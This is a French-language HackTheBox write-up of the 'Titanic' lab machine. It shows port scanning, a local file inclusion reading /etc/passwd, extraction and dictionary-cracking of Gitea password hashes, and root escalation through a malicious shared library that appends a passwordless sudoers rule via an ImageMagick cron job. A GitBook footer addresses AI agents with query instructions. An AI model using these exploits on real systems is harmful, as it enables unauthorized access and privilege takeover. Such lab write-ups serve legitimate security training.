> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md).

# Compte rendu HackTheBox de Titanic

{% embed url="<http://app.hackthebox.com/machines/648>" %}

{% hint style="warning" %}
**Compétences :**

* **Inclusion de fichiers locaux (LFI)**
* **Extraction de la base de données Gitea**
* **Exploit ImageMagick (élévation de privilèges)**
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/62eb1371baef45d89edece71fef7095db69cec46" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/351aec4334bd18d3b2983ba758468ef98437d05a" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts
```

<figure><img src="/files/9944aa05ed8313d110008c1f94b54eb0eab24f59" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (22.80)

```bash
nmap -sCV -p22,80 10.10.11.55 -oN targeted
```

<figure><img src="/files/5aa0f16967d640ab4b54cb7cd1c34edbed5601b0" alt=""><figcaption></figcaption></figure>

Nous ajoutons ensuite l’IP à notre `/etc/hosts` fichier :

<figure><img src="/files/3fe4dd4ecb7107e56c1608d6bb204cebb419e79c" alt="" width="563"><figcaption></figcaption></figure>

### Analyse du port 80 (HTTP)

####

<figure><img src="/files/8c9cb836d2b35335ac2a9a97fbc1a48bb642c0d1" alt=""><figcaption></figcaption></figure>

### Analyse du port 80 (HTTP)

#### Détection de la technologie

Avec `wappalyzer`, nous identifions que le site utilise **Flask et Python**

<figure><img src="/files/f1fa84e7640ab279a162ab3e158bdc0dd46add7c" alt="" width="349"><figcaption></figcaption></figure>

## Inclusion de fichiers locaux (LFI) <a href="#fb9e" id="fb9e"></a>

<figure><img src="/files/1f42b9fee667abe579427ed57fc665df1c964a7f" alt="" width="423"><figcaption></figcaption></figure>

Le site propose une option pour commander un voyage, qui renvoie un fichier JSON.

<figure><img src="/files/3f949f036d4a712d97716df634bd08e5e6a2f168" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/4136516a15675b92758a2754b854761182fd690e" alt="" width="563"><figcaption></figcaption></figure>

En interceptant la requête avec **Burp Suite**, nous remarquons un `téléchargement` paramètre qui permet d’accéder aux fichiers :

<figure><img src="/files/cd0c2afdf97700353b97a75ef9ebf2f1bd9f25fb" alt=""><figcaption></figcaption></figure>

```bash
/download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json
```

Nous testons une inclusion de fichier :

```
/download?ticket=/etc/passwd
```

<figure><img src="/files/31c1a526dbd031acef29ff02e44420a8b8b87829" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5efd30460ecf6638935c666147a8fdb36d95f80f" alt=""><figcaption></figcaption></figure>

Avec `curl`:

```
curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd
```

Nous récupérons les utilisateurs du système, y compris **developer**.

<figure><img src="/files/1ac0cedaefcd800c46e3226580f9a110a6303dd1" alt=""><figcaption></figcaption></figure>

### Fuzzing de sous-domaines

Nous recherchons des sous-domaines avec **Gobuster**:

```bash
gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r
```

<figure><img src="/files/8a6fa6205371448d2849f60033389eca0fae5187" alt=""><figcaption></figcaption></figure>

Nous découvrons **dev.titanic.htb**, que nous ajoutons à `/etc/hosts`.

<figure><img src="/files/338808479cdcd9970e0d78dfee896b596a910af8" alt="" width="563"><figcaption></figcaption></figure>

## Exploitation de Gitea

Sur la **dev** sous-domaine, nous trouvons une **Gitea** instance.

<figure><img src="/files/2d3eb684d3193d5e746b95d256ed5f4be7abcefd" alt=""><figcaption></figcaption></figure>

#### Création d’un utilisateur

<figure><img src="/files/adbe6a74f9f8b10674258a9eb1eb9eca9242f432" alt=""><figcaption></figcaption></figure>

Nous trouvons un mot de passe stocké en clair (base de données) :

<figure><img src="/files/4f6cc80311fa0883c84dbd4a4a317b255d54f565" alt=""><figcaption></figcaption></figure>

En explorant la base de données SQLite de Gitea, nous trouvons son chemin :

<figure><img src="/files/46dc52d8624505d78450a986b54904ac54c90ffa" alt=""><figcaption></figcaption></figure>

`/home/developer/gitea/data/gitea/gitea.db`

<figure><img src="/files/e5dbb5b925f3f45353d0b94ac80f287454a99833" alt=""><figcaption></figcaption></figure>

On s'y connecte :

```sql
sqlite3 gitea.db
.tables
```

<figure><img src="/files/a36b78a26c5c4ebd84eed1301b423ed2c98a51d2" alt=""><figcaption></figcaption></figure>

Puis, nous extrayons les hachages de mots de passe :

```sql
SELECT lower_name, passwd, salt FROM user;
```

<figure><img src="/files/e39947f59f61ba0f72f9f9e693b7c12ddb740218" alt=""><figcaption></figcaption></figure>

### Attaque par force brute d’un hachage salé

#### Hachage :

```
e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34
```

#### Sel :

```
b8dc26d526439f6f2f4523fa8ea522a2
```

Nous utilisons un script Python pour casser le hachage :

```python
import hashlib
import binascii
 
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
    hash_value = hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )
    return hash_value
 
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        count = 0
        for line in file:
            password = line.strip()
            hash_value = pbkdf2_hash(password, salt, iterations, dklen)
            count += 1
            print(f"Nombre : {count} : {password}")
            if hash_value == target_hash_bytes:
                print(f"/nMot de passe trouvé : {password}")
                return password
        print("Mot de passe non trouvé.")
        return None
 
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)
```

#### - Le mot de passe trouvé est **25282528**.

<figure><img src="/files/e8362bb9df9e5680385789cdccc3986d4c0a4f14" alt=""><figcaption></figcaption></figure>

On se connecte en SSH :

```bash
ssh developer@ticanic.htb
```

<figure><img src="/files/3aa8e4a06c064b47811bb4b02f6dbcc956da95c4" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

<figure><img src="/files/83ead27109b3828fae3604c9ff0328bb7840679f" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges

### Tâche cron - Exploitation d'ImageMagick

Dans `/opt/`, nous trouvons un script `script.sh` exécuté automatiquement

<figure><img src="/files/fa8134cd398d7e967fc0d1d6d5bfe881aa1beb4f" alt=""><figcaption></figcaption></figure>

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

> Ce script shell se déplace d’abord vers le `/opt/app/static/assets/images` dossier, puis il vide le fichier `metadata.log` s’il existe. Ensuite, il recherche tous les `.jpg` fichiers dans ce répertoire et utilise la commande `identify` d’ImageMagick pour extraire leurs métadonnées (taille, format, profondeur de couleur, etc.). Ces informations sont ensuite enregistrées dans `metadata.log`. Ainsi, ce script permet de générer un fichier de métadonnées à jour pour toutes les images JPG présentes dans le dossier spécifié.

Le script utilise **ImageMagick**, une version vulnérable.

```bash
magicks --version
```

<figure><img src="/files/4dc29b452f59daec933f9a7d353ae71f92a4923e" alt=""><figcaption></figcaption></figure>

### Exploitation via `LD_PRELOAD`

Nous créons un `a.c` fichier :

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```

Compilation :

```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```

<figure><img src="/files/2c60cc4ccab9da62aac892468b2a457a3ea4138a" alt=""><figcaption></figcaption></figure>

Nous l’ajoutons au répertoire surveillé et exécutable par `ImageMagick`. Puis, nous exécutons :

```bash
su root
```

<figure><img src="/files/71d6862b5a003c898fc95752843f86489e0c8514" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/c2b068deb748de31f4a6924e5ced160b4f7d86de" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
